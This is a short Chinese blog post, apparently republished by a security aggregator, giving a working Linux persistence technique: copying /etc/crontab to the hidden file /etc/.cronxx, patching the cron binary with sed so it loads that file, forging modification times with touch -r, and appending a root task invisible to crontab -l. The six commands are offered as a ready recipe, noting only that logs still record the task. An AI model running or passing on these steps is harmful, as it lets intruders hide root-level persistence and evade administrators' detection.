在cron中添加隐藏计划任务
通过修改cron程序加载的文件名并创建隐藏计划任务文件(如/etc/.cronxx),实现隐蔽任务执行。该方法无需额外工具且crontab -l无法查看隐藏任务,但日志中仍会有相关记录。 2025-4-28 02:10:30 Author: guage.cool(查看原文) 阅读量:16 收藏

原理

/etc/crontab文件是系统级计划任务配置,几乎没有人修改

只需要修改cron程序加载/etc/crontab的文件名,即可实现隐蔽计划任务

命令

1
2
3
4
5
6
cp /etc/crontab /etc/.cronxx
touch /etc/.cronxx -r /etc/crontab
echo "* * * * * root touch /tmp/fuck.tmp" >> /etc/.cronxx
sed -i 's|/etc/crontab|/etc/.cronxx|g' $(which cron || which crond)
touch $(which cron || which crond) -r $(which crontab)
systemctl restart cron crond

注意:

  1. touch用于伪装mtime
  2. sed中修改后的文件名长度必须和/etc/crontab文件名长度一致
  3. echo中的"* * * * * root touch /tmp/fuck.tmp" 就是添加隐藏命令

优缺点

优点

  1. 修改简单无需借助其他工具
  2. crontab -l命令无法查看

缺点

  1. 日志中仍然会有记录

文章来源: https://guage.cool/cron-hide.html
如有侵权请联系:admin#unsafe.sh